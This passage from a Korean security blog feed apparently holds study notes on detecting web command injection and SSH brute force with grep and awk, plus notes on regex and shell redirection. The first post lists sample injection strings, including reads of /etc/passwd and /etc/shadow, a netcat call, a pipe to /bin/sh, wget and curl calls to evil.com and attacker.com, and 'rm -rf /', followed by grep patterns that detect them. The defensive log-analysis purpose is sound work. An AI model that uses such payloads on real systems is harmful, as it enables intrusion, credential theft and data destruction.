&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;인코딩&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;공격도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중요하나&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;절대&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;경로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;명령어도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;유의할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%7C : |&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%20 : space&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%3B : ;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%7B ; {&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%7D : }&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%24 : $&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%60 : &amp;amp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5 : cat%20/etc/passwd&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8 : nc%20192.168.100.100&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11 : calc.php?value=$(whoami)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14 : cat%20/etc/shadow&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;17 : cmd=%7C%20/bin/sh [&lt;/span&gt;&lt;span&gt;당장은 문제가 없어도&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;공격 의도로 파악 가능&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;20 : wget%20&lt;a href=&quot;http://evil.com/shell.php&quot;&gt;http://evil.com/shell.php&lt;/a&gt; [wget https &lt;/span&gt;&lt;span&gt;형식은 위험&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;23 : user=%24%7Bwhoami%7D [&lt;/span&gt;&lt;span&gt;리눅스에서는 무시되나 자바&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;파이썬&lt;/span&gt;&lt;span&gt;/php &lt;/span&gt;&lt;span&gt;등의 템플릿에서는&lt;/span&gt;&lt;span&gt; ${...}&lt;/span&gt;&lt;span&gt;가 코드 실행이라는 의미로 쓰임 혹은&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;의 오타로 탐지&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;26 : input?data=%3B%20ls%20-al&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;29 : check?host=localhost%7Ccurl%20&lt;a href=&quot;http://attacker.com&quot;&gt;http://attacker.com&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;32 : GET /test.php?cmd=%24(id) HTTP/1.1&quot; 200 100 [&lt;/span&gt;&lt;span&gt;리눅스 쉘은 일단 괄호 안의 값을 실행하기에&lt;/span&gt;&lt;span&gt; echo&lt;/span&gt;&lt;span&gt;를 안 붙여도 처음 값이 에러로 출력&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;35 : GET /api?q=1%3B%20/bin/cat%20/etc/passwd HTTP/1.1&quot; 200 512&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;38 : GET /shell?cmd=%7Cwhoami HTTP/1.1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;41 : GET /run?exec=%60id%60 HTTP/1.1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;44 : /debug?val=%25%25%20cat%20etc/hosts HTTP/1.1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;-&lt;span&gt;&amp;nbsp; &lt;/span&gt;: ;cat&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;/etc/passwd&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;50 : /api/check?id=1;%20/bin/rm%20-rf%20/ HTTP/1.1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;로직 취합&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;grep -E 'whoami' access.log&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;grep -E '(cat|nc|ls|curl|wget)( |%20){1,}' access.log&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;grep -E '(%7C|%3B|%26|%24|[\`\$\(\)\|\;&amp;amp;]){1,}( |%20|/)*bin' access.log&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;grep -E 'cmd=(\$|%24)' access.log&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;grep -E 'whoami|(cat|nc|ls|curl|wget)( |%20){1,}|cmd=(\$|%24)|(%7C|%3B|%26|%24|[\`\$\(\)\|\;&amp;amp;]){1,}( |%20|/)*bin' access.log&lt;/p&gt;</description>
      <category>Security</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/109</guid>
      <comments>https://jaehyun60.tistory.com/109#entry109comment</comments>
      <pubDate>Fri, 30 Jan 2026 20:03:23 +0900</pubDate>
    </item>
    <item>
      <title>무차별 대입 공격 (Brute Force) 탐지 정규표현식 로직</title>
      <link>https://jaehyun60.tistory.com/108</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;표&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;단순 문자열 매칭이 아닌 &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;빈도&lt;/span&gt;&lt;span&gt;(Threshold)&quot; &lt;/span&gt;&lt;span&gt;기반 탐지 &lt;br /&gt;&lt;/span&gt;&lt;span&gt;핵심&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; grep&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;awk, sort, uniq&lt;/span&gt;&lt;span&gt;를 조합하여 동일&lt;/span&gt;&lt;span&gt; IP&lt;/span&gt;&lt;span&gt;에서&lt;/span&gt;&lt;span&gt; 3&lt;/span&gt;&lt;span&gt;회 이상 실패한&lt;/span&gt;&lt;span&gt; IP&lt;/span&gt;&lt;span&gt;만 추출&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;상황&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; SSH &lt;/span&gt;&lt;span&gt;접속 로그&lt;/span&gt;&lt;span&gt;(auth.log)&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;비밀번호를 계속 틀리는&lt;/span&gt;&lt;span&gt; IP&lt;/span&gt;&lt;span&gt;를 찾아 차단해야 한다&lt;/span&gt;&lt;span&gt;. 3&lt;/span&gt;&lt;span&gt;번 미만 실수는 보류&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;*테스트 데이터&lt;/span&gt;&lt;span&gt; (auth.log):&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Plaintext&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:01 server sshd[100]: Failed password for root from 192.168.0.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:02 server sshd[101]: Accepted password for admin from 10.0.0.5 port 2222&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:03 server sshd[102]: Failed password for root from 192.168.0.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:04 server sshd[103]: Failed password for user1 from 172.16.0.50 port 5432&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:05 server sshd[104]: Failed password for root from 192.168.0.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:06 server sshd[105]: Accepted password for user1 from 172.16.0.50 port 5432&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:07 server sshd[106]: Failed password for admin from 192.168.0.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:00:08 server sshd[107]: Failed password for invalid user guest from 192.168.0.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:01:00 server sshd[108]: Failed password for test from 10.10.10.10 port 3333&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:01:01 server sshd[109]: Failed password for test from 10.10.10.10 port 3333&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:01:02 server sshd[110]: Failed password for test from 10.10.10.10 port 3333&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:02:00 server sshd[111]: Failed password for dev from 1.1.1.1 port 4444&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:02:01 server sshd[111]: Failed password for dev from 1.1.1.1 port 4444&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:03:00 server sshd[112]: Accepted password for manager from 192.168.0.200 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:03:01 server sshd[113]: Failed password for manager from 192.168.0.200 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:03:02 server sshd[114]: Failed password for manager from 192.168.0.200 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:03:03 server sshd[115]: Failed password for manager from 192.168.0.200 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:04:01 server sshd[116]: Accepted password for admin from 8.8.8.8 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:04:02 server sshd[117]: Accepted password for admin from 8.8.8.8 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:04:03 server sshd[118]: Accepted password for admin from 8.8.8.8 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:05:01 server sshd[119]: Failed password for user2 from 172.16.100.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:05:02 server sshd[120]: Failed password for user2 from 172.16.100.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mar 10 10:05:03 server sshd[121]: Accepted password for user2 from 172.16.100.100 port 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;*탐지해야&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;할&lt;/span&gt;&lt;span&gt; ip&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10.10.10.10&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.100&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.200&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;grep Failed auth.log | awk '{ print $(NF-2) }' | sort -n | uniq -c | sort | awk '$1 &amp;gt;=3 { print $2 }'&lt;/p&gt;</description>
      <category>LINUX(Server)</category>
      <category>로그 #로그 분석 #grep #배시 #정규표현식 #보안</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/108</guid>
      <comments>https://jaehyun60.tistory.com/108#entry108comment</comments>
      <pubDate>Wed, 21 Jan 2026 21:04:31 +0900</pubDate>
    </item>
    <item>
      <title>리눅스 정규 표현식 및 입출력 흐름 제어</title>
      <link>https://jaehyun60.tistory.com/107</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJVAWD/dJMcadHrdSr/QkAR1iHtRKwOK3vRoBDgJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJVAWD/dJMcadHrdSr/QkAR1iHtRKwOK3vRoBDgJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJVAWD/dJMcadHrdSr/QkAR1iHtRKwOK3vRoBDgJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJVAWD%2FdJMcadHrdSr%2FQkAR1iHtRKwOK3vRoBDgJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;479&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;[]&lt;/span&gt;&lt;span&gt;: 문자 클래스 (예: [0-9] 숫자만)&lt;br /&gt;&lt;/span&gt;&lt;span&gt;grep &quot;abc[1-9]&quot; -.txt : abc&lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시작하면서&lt;/span&gt;&lt;span&gt; 1~9&lt;/span&gt;&lt;span&gt;가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;붙은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;찾기&lt;br /&gt;문자열&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;처리의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt; \[&lt;/span&gt;&lt;span&gt;와&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;같이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;진행할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것&lt;/span&gt;&lt;span&gt;. \&lt;/span&gt;&lt;span&gt;는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;뒤의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;하나를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;문자열&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취급&lt;br /&gt;예&lt;/span&gt;&lt;span&gt;) grep &quot;^\[&lt;/span&gt;&lt;span&gt;공격&lt;/span&gt;&lt;span&gt;\]&quot; a.log&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;[^ ]&lt;/span&gt;&lt;span&gt;: 부정 (예: [^0-9] 숫자가 아닌 것)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;기타&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;리다이렉션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연산자&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;정규표현식은&lt;/span&gt;&lt;span&gt; '&lt;/span&gt;&lt;span&gt;따옴표&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;처리&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;문자열은&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;쌍따옴표&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;처리하기&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #fa0000;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&amp;gt; &lt;/span&gt;&lt;span&gt;리눅스에서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정규표현식&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;쉘의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;span&gt;, grep&lt;/span&gt;&lt;span&gt;의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;총&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;단계를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;거치기에&lt;/span&gt;&lt;span&gt; &lt;br /&gt;&lt;/span&gt;&lt;span&gt;쉘의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스킵하고&lt;/span&gt;&lt;span&gt; grep&lt;/span&gt;&lt;span&gt;의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석만&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;하기&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;위해&lt;/span&gt;&lt;span&gt; ' &lt;/span&gt;&lt;span&gt;따옴표를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;또한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기본적으로&lt;/span&gt;&lt;span&gt; grep -E&lt;/span&gt;&lt;span&gt;를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;바람직함&lt;/span&gt;&lt;span&gt;. +, ?(ERE)&lt;/span&gt;&lt;span&gt;까지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;포함하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용하되&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;상단의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;특수문자는&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;이스케이프&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;처리해주는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;효율적이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;입출력 흐름 제어 (Redirection &amp;amp; Pipe)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어와 명령어 사이, 또는 파일로 데이터를 주고받는 가장 기초적인 길(Path)을 만드는 문법&lt;/p&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100.698%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.59418%;&quot;&gt;&lt;span&gt;&lt;span&gt;기호&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.3952%;&quot;&gt;&lt;span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.4004%;&quot;&gt;&lt;span&gt;&lt;span&gt;의미&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.3079%;&quot;&gt;&lt;span&gt;&lt;span&gt;예시&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.59418%;&quot;&gt;&lt;span&gt;|&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.3952%;&quot;&gt;&lt;span&gt;파이프&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.4004%;&quot;&gt;&lt;span&gt;&lt;span&gt;파이프 (Pipe)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.3079%;&quot;&gt;&lt;span&gt;&lt;span&gt;앞 명령어의 표준 출력(Stdout)을 뒤 명령어의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;표준 입력(Stdin)으로 연결&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.59418%;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.3952%;&quot;&gt;&lt;span&gt;&lt;span&gt;덮어쓰기 (Overwrite)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.4004%;&quot;&gt;&lt;span&gt;명령어의 결과를 파일로 저장 (&lt;span&gt;기존 내용 삭제됨&lt;/span&gt;)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.3079%;&quot;&gt;&lt;span&gt;echo &quot;Start&quot; &amp;gt; log.txt&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.59418%;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.3952%;&quot;&gt;&lt;span&gt;&lt;span&gt;이어쓰기 (Append)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.4004%;&quot;&gt;&lt;span&gt;명령어의 결과를 파일 끝에 추가 (&lt;span&gt;기존 내용 보존&lt;/span&gt;)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.3079%;&quot;&gt;&lt;span&gt;echo &quot;End&quot; &amp;gt;&amp;gt; log.txt&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.59418%;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.3952%;&quot;&gt;&lt;span&gt;&lt;span&gt;입력 재지정 (Read)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.4004%;&quot;&gt;&lt;span&gt;파일의 내용을 명령어의 입력으로 넣음&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.3079%;&quot;&gt;&lt;span&gt;sort &amp;lt; data.txt&lt;/span&gt;&lt;br /&gt;&lt;span&gt;(data.txt 내용을 정렬)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.59418%;&quot;&gt;&lt;span&gt;&lt;span&gt;2&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.3952%;&quot;&gt;&lt;span&gt;&lt;span&gt;표준 에러 재지정&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.4004%;&quot;&gt;&lt;span&gt;에러 메시지(Standard Error)만 따로 파일로 저장&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.3079%;&quot;&gt;&lt;span&gt;find / -name &quot;file&quot; 2&amp;gt; error.log&lt;/span&gt;&lt;br /&gt;&lt;span&gt;(접근 권한 에러 등을 파일로 뺌)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 8.59418%;&quot;&gt;&lt;span&gt;&lt;span&gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.3952%;&quot;&gt;&lt;span&gt;&lt;span&gt;널 디바이스 (Null Device)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.4004%;&quot;&gt;&lt;span&gt;들어오는 모든 데이터를 &lt;span&gt;즉시 폐기&lt;/span&gt;하는 특수 장치 파일 (쓰레기통 역할)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.3079%;&quot;&gt;&lt;span&gt;command &amp;gt; /dev/null&lt;/span&gt;&lt;br /&gt;&lt;span&gt;(결과를 화면에도, 파일에도 남기지 않고 버림)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>LINUX(Server)</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/107</guid>
      <comments>https://jaehyun60.tistory.com/107#entry107comment</comments>
      <pubDate>Wed, 14 Jan 2026 23:10:19 +0900</pubDate>
    </item>
    <item>
      <title>네트워크 및 프로토콜 (3. IP)</title>
      <link>https://jaehyun60.tistory.com/106</link>
      <description>&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span&gt;Internet Layer&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;Ip&lt;/span&gt;&lt;span&gt;주소를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기반으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;경로를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;설정하고&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;패킷을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;전송하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;/li&gt;
